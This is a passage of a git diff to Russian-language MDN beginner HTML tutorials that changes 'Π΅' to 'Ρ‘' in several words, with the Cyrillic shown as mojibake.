<img alt="the common features of the travel site to go on every page: title and logo, contact, copyright, terms and conditions, language chooser, accessibility policy" src="https://mdn.mozillademos.org/files/12423/common-features.png" style="border-style: solid; border-width: 1px; display: block; height: 375px; margin: 0px auto; width: 600px;"></li>
- <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒΒ Π½Π°Π±Ρ€ΠΎΡΠ°ΠΉΡ‚Π΅ структуру страниц (ΠΌΠΎΠΆΠ½ΠΎ Π²Π·ΡΡ‚ΡŒ Π·Π° ΠΎΠ±Ρ€Π°Π·Π΅Ρ† наш простой Π΄ΠΈΠ·Π°ΠΉΠ½, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Ρ€Π°Π½Π½Π΅Π΅). Π§Ρ‚ΠΎ находится Π² этих Π±Π»ΠΎΠΊΠ°Ρ…?<img alt="A simple diagram of a sample site structure, with a header, main content area, two optional sidebars, and footer" src="https://mdn.mozillademos.org/files/12429/site-structure.png" style="border-style: solid; border-width: 1px; display: block; height: 232px; margin: 0px auto; width: 600px;"></li>
+ <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒΒ Π½Π°Π±Ρ€ΠΎΡΠ°ΠΉΡ‚Π΅ структуру страниц (ΠΌΠΎΠΆΠ½ΠΎ Π²Π·ΡΡ‚ΡŒ Π·Π° ΠΎΠ±Ρ€Π°Π·Π΅Ρ† наш простой Π΄ΠΈΠ·Π°ΠΉΠ½, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Ρ€Π°Π½Π½Π΅Π΅). Π§Ρ‚ΠΎ находится Π² этих Π±Π»ΠΎΠΊΠ°Ρ…?<img alt="A simple diagram of a sample site structure, with a header, main content area, two optional sidebars, and footer" src="https://mdn.mozillademos.org/files/12429/site-structure.png" style="border-style: solid; border-width: 1px; display: block; height: 232px; margin: 0px auto; width: 600px;"></li>
<li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΡΠΎΡΡ‚Π°Π²ΡŒΡ‚Π΅ список ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠΉ (ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠΉ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ страницы)Β ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ размСститС на сайтС.<img alt="A long list of all the features that we could put on our travel site, from searching, to special offers and country-specific info" src="https://mdn.mozillademos.org/files/12425/feature-list.png" style="border-style: solid; border-width: 1px; display: block; height: 1066px; margin: 0px auto; width: 600px;"></li>
<li>Π‘Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅Β ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΏΠΎ Ρ‚Π΅ΠΌΠ°ΠΌ. КакиС части ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π½Π° ΠΎΠ΄Π½ΠΎΠΉ страницС? Π­Ρ‚ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ {{glossary("Card sorting")}}. <img alt="The items that should appear on a holiday site sorted into 5 categories: Search, Specials, Country-specific info, Search results, and Buy things" src="https://mdn.mozillademos.org/files/12421/card-sorting.png" style="border-style: solid; border-width: 1px; display: block; height: 579px; margin: 0px auto; width: 600px;"></li>
<li>Π‘ΠΎΡΡ‚Π°Π²ΡŒΡ‚Π΅ ΠΊΠ°Ρ€Ρ‚Ρƒ сайта. ΠžΠ±Π²Π΅Π΄ΠΈΡ‚Π΅ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ страницу Ρ€Π°ΠΌΠΊΠΎΠΉ, ΠΈ ΠΏΡ€ΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ пСрСмСщСния ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ Π² Ρ†Π΅Π½Ρ‚Ρ€Π΅ оказываСтся главная страница, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΠΎΠΆΠ½ΠΎ быстро ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° всС ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅. На нСбольшом сайтС Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ страниц ΠΏΠΎΠΌΠ΅Ρ‰Π°ΡŽΡ‚ Π² Π³Π»Π°Π²Π½ΡƒΡŽ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΡŽ, Π½ΠΎ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΠ»Π°ΡΡ‚ΡŒ Ρ‚ΡƒΠ΄Π° всС ссылки. Π’Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊ выглядят элСмСнты страниц β€” ссылками, списками, ΠΊΠ°Ρ€Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ.</li>
@@ -284,7 +284,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π°_Π΄ΠΎΠΊΡƒΠΌ
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ? ΠœΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅ Π² HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">ΠžΡΠ½ΠΎΠ²Ρ‹ рСдактирования тСкста Π² HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ гипСрссылок</a></li>
- <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Π΅Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Ρ‘Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Π²Π΅Π±-сайта</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">ΠžΡ‚Π»Π°Π΄ΠΊΠ° HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° письма</a></li>
diff --git a/files/ru/learn/html/introduction_to_html/getting_started/index.html b/files/ru/learn/html/introduction_to_html/getting_started/index.html
index 9fe76fed12..cfd2d251bb 100644
--- a/files/ru/learn/html/introduction_to_html/getting_started/index.html
+++ b/files/ru/learn/html/introduction_to_html/getting_started/index.html
@@ -36,7 +36,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Начало_Ρ€Π°Π±ΠΎΡ‚Ρ‹
<h2 id="Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_HTML">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ HTML?</h2>
-<p>{{glossary("HTML")}} (HyperText Markup Language - язык гипСртСкстовой Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ) Π½Π΅ являСтся языком программирования; это <em>язык Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ</em>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для опрСдСлСния структуры Π²Π΅Π±-страниц, посСщаСмых ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ. Они ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΡΠ»ΠΎΠΆΠ½ΡƒΡŽ ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ структуру, всё зависит ΠΎΡ‚ замысла ΠΈ ТСлания Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°. HTML состоит ΠΈΠ· ряда {{glossary("Element", "элСмСнтов")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ…Π²Π°Ρ‚ΠΈΡ‚ΡŒ, ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΈΠ»ΠΈ <em>Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ</em> Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ части содСрТимого, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΎ ΠΈΠΌΠ΅Π»ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π²ΠΈΠ΄ ΠΈΠ»ΠΈ срабатывало ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ способом. ВстроСнныС {{glossary("Tag", "тэги")}} ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‡Π°ΡΡ‚ΡŒ содСрТимого Π² гипСрссылку, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° Π΄Ρ€ΡƒΠ³ΡƒΡŽ Π²Π΅Π±-страницу, Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ курсивом слова ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. НапримСр, рассмотрим ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку:</p>
+<p>{{glossary("HTML")}} (HyperText Markup Language - язык гипСртСкстовой Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ) Π½Π΅ являСтся языком программирования; это <em>язык Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ</em>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для опрСдСлСния структуры Π²Π΅Π±-страниц, посСщаСмых ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ. Они ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΡΠ»ΠΎΠΆΠ½ΡƒΡŽ ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ структуру, всё зависит ΠΎΡ‚ замысла ΠΈ ТСлания Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°. HTML состоит ΠΈΠ· ряда {{glossary("Element", "элСмСнтов")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ…Π²Π°Ρ‚ΠΈΡ‚ΡŒ, ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΈΠ»ΠΈ <em>Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ</em> Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ части содСрТимого, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΎ ΠΈΠΌΠ΅Π»ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π²ΠΈΠ΄ ΠΈΠ»ΠΈ срабатывало ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ способом. ВстроСнныС {{glossary("Tag", "тэги")}} ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‡Π°ΡΡ‚ΡŒ содСрТимого Π² гипСрссылку, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° Π΄Ρ€ΡƒΠ³ΡƒΡŽ Π²Π΅Π±-страницу, Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ курсивом слова ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. НапримСр, рассмотрим ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку:</p>
<pre class="notranslate">Мой ΠΊΠΎΡ‚ ΠΎΡ‡Π΅Π½ΡŒ сСрдитый</pre>
@@ -65,7 +65,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Начало_Ρ€Π°Π±ΠΎΡ‚Ρ‹
<h3 id="АктивноС_ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅_созданиС_вашСго_ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ_HTML_элСмСнта">АктивноС ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅: созданиС вашСго ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ HTML элСмСнта</h3>
-<p>ΠžΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ строку тСкста Π½ΠΈΠΆΠ΅ Π² ΠΏΠΎΠ»Π΅ <em>Π’Π²ΠΎΠ΄</em>, ΠΎΠ±Π΅Ρ€Π½ΡƒΠ² Π΅Π΅ Ρ‚Π΅Π³Π°ΠΌΠΈ <code>&lt;em&gt;</code> ΠΈ <code>&lt;/em&gt;</code> (Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ <code>&lt;em&gt;</code> ΠΏΠ΅Ρ€Π΅Π΄ строкой, Ρ‡Ρ‚ΠΎΠ±Ρ‹ <em>ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π½Π°Ρ‡Π°Π»ΠΎ элСмСнта</em>, ΠΈ <code>&lt;/em&gt;</code> послС Π½Π΅Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ <em>ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΊΠΎΠ½Π΅Ρ† элСмСнта</em>) β€” эти дСйствия Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ строку тСкста курсивом! Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ измСнСния Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π² ΠΏΠΎΠ»Π΅ <em>Π’Ρ‹Π²ΠΎΠ΄</em>.</p>
+<p>ΠžΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ строку тСкста Π½ΠΈΠΆΠ΅ Π² ΠΏΠΎΠ»Π΅ <em>Π’Π²ΠΎΠ΄</em>, ΠΎΠ±Π΅Ρ€Π½ΡƒΠ² Π΅Ρ‘ Ρ‚Π΅Π³Π°ΠΌΠΈ <code>&lt;em&gt;</code> ΠΈ <code>&lt;/em&gt;</code> (Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ <code>&lt;em&gt;</code> ΠΏΠ΅Ρ€Π΅Π΄ строкой, Ρ‡Ρ‚ΠΎΠ±Ρ‹ <em>ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π½Π°Ρ‡Π°Π»ΠΎ элСмСнта</em>, ΠΈ <code>&lt;/em&gt;</code> послС Π½Π΅Ρ‘, Ρ‡Ρ‚ΠΎΠ±Ρ‹ <em>ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΊΠΎΠ½Π΅Ρ† элСмСнта</em>) β€” эти дСйствия Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ строку тСкста курсивом! Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ измСнСния Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π² ΠΏΠΎΠ»Π΅ <em>Π’Ρ‹Π²ΠΎΠ΄</em>.</p>
<p>Если Π’Ρ‹ ошиблись, Ρ‚ΠΎ всСгда ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ снова, воспользовавшись ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ <em>Π‘Π±Ρ€ΠΎΡΠΈΡ‚ΡŒ</em>. Если ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Ρƒ Вас затруднСния, Ρ‚ΠΎ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ <em>ΠŸΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅</em>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚.</p>
@@ -220,7 +220,7 @@ textarea.onkeyup = function(){
<pre class="brush: html notranslate">&lt;em&gt;ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ&lt;/em&gt;&lt;em&gt;Π²Ρ‚ΠΎΡ€ΠΎΠΉ&lt;/em&gt;&lt;em&gt;Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ&lt;/em&gt;
-&lt;p&gt;Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚Ρ‹ΠΉ&lt;/p&gt;&lt;p&gt;пятый&lt;/p&gt;&lt;p&gt;ΡˆΠ΅ΡΡ‚ΠΎΠΉ&lt;/p&gt;
+&lt;p&gt;Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚Ρ‹ΠΉ&lt;/p&gt;&lt;p&gt;пятый&lt;/p&gt;&lt;p&gt;ΡˆΠ΅ΡΡ‚ΠΎΠΉ&lt;/p&gt;
</pre>
<p>{{htmlelement("em")}} β€” это строчный элСмСнт, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ здСсь Π²ΠΈΠ΄ΠΈΡ‚Π΅, ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Ρ‚Ρ€ΠΈ элСмСнта находятся Π½Π° ΠΎΠ΄Π½ΠΎΠΉ строкС Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌΒ Π±Π΅Π· ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ² ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ. Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, {{htmlelement("p")}} β€” это элСмСнт Π±Π»ΠΎΡ‡Π½ΠΎΠ³ΠΎ уровня, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт находится Π½Π° Π½ΠΎΠ²ΠΎΠΉ строкС, с пространством Π²Ρ‹ΡˆΠ΅ ΠΈ Π½ΠΈΠΆΠ΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ (этот ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π» опрСдСляСтся <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS-ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΠ΅ΠΌ</a>Β ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ ΠΊ Π°Π±Π·Π°Ρ†Π°ΠΌ).</p>
@@ -232,7 +232,7 @@ textarea.onkeyup = function(){
</div>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: НС ΠΏΡƒΡ‚Π°ΠΉΡ‚Π΅ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Ρ‹ Β«Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉΒ» ΠΈ «строчный», ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅, с ΠΎΠ΄Π½ΠΎΠΈΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">Ρ‚ΠΈΠΏΠ°ΠΌΠΈ отобраТСния Π² CSS</a>. Π₯отя ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΎΠ½ΠΈ ΠΊΠΎΡ€Ρ€Π΅Π»ΠΈΡ€ΡƒΡŽΡ‚, смСна Ρ‚ΠΈΠΏΠ° отобраТСния Π² CSS Π½Π΅ мСняСт ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΡŽ элСмСнта ΠΈ Π½Π΅ влияСт Π½Π° Ρ‚ΠΎ, Π²ΠΎ Ρ‡Ρ‚ΠΎ Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π²ΠΊΠ»Π°Π΄Ρ‹Π²Π°Ρ‚ΡŒ ΠΈ Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π²ΠΊΠ»Π°Π΄Ρ‹Π²Π°Ρ‚ΡŒ Π² Π½Π΅Π³ΠΎ. Π­Ρ‚Π° довольно частая ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Π° β€”Β ΠΎΠ΄Π½Π° ΠΈΠ· ΠΏΡ€ΠΈΡ‡ΠΈΠ½, ΠΏΠΎΡ‡Π΅ΠΌΡƒ HTML5 отказался ΠΎΡ‚ этих Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ².</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: НС ΠΏΡƒΡ‚Π°ΠΉΡ‚Π΅ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Ρ‹ Β«Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉΒ» ΠΈ «строчный», ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅, с ΠΎΠ΄Π½ΠΎΠΈΠΌΡ‘Π½Π½Ρ‹ΠΌΠΈ <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">Ρ‚ΠΈΠΏΠ°ΠΌΠΈ отобраТСния Π² CSS</a>. Π₯отя ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΎΠ½ΠΈ ΠΊΠΎΡ€Ρ€Π΅Π»ΠΈΡ€ΡƒΡŽΡ‚, смСна Ρ‚ΠΈΠΏΠ° отобраТСния Π² CSS Π½Π΅ мСняСт ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΡŽ элСмСнта ΠΈ Π½Π΅ влияСт Π½Π° Ρ‚ΠΎ, Π²ΠΎ Ρ‡Ρ‚ΠΎ Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π²ΠΊΠ»Π°Π΄Ρ‹Π²Π°Ρ‚ΡŒ ΠΈ Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π²ΠΊΠ»Π°Π΄Ρ‹Π²Π°Ρ‚ΡŒ Π² Π½Π΅Π³ΠΎ. Π­Ρ‚Π° довольно частая ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Π° β€”Β ΠΎΠ΄Π½Π° ΠΈΠ· ΠΏΡ€ΠΈΡ‡ΠΈΠ½, ΠΏΠΎΡ‡Π΅ΠΌΡƒ HTML5 отказался ΠΎΡ‚ этих Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ².</p>
</div>
<div class="note">
@@ -268,7 +268,7 @@ textarea.onkeyup = function(){
<ol>
<li>ΠŸΡ€ΠΎΠ±Π΅Π» ΠΌΠ΅ΠΆΠ΄Ρƒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ ΠΈ ΠΈΠΌΠ΅Π½Π΅ΠΌ элСмСнта (ΠΈΠ»ΠΈ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ, Ссли Ρƒ элСмСнта ΡƒΠΆΠ΅ Π΅ΡΡ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ нСсколько Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ²).</li>
<li>Имя Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° ΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π·Π° Π½ΠΈΠΌ Π·Π½Π°ΠΊ равСнства.</li>
- <li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ΅ Π² ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ.</li>
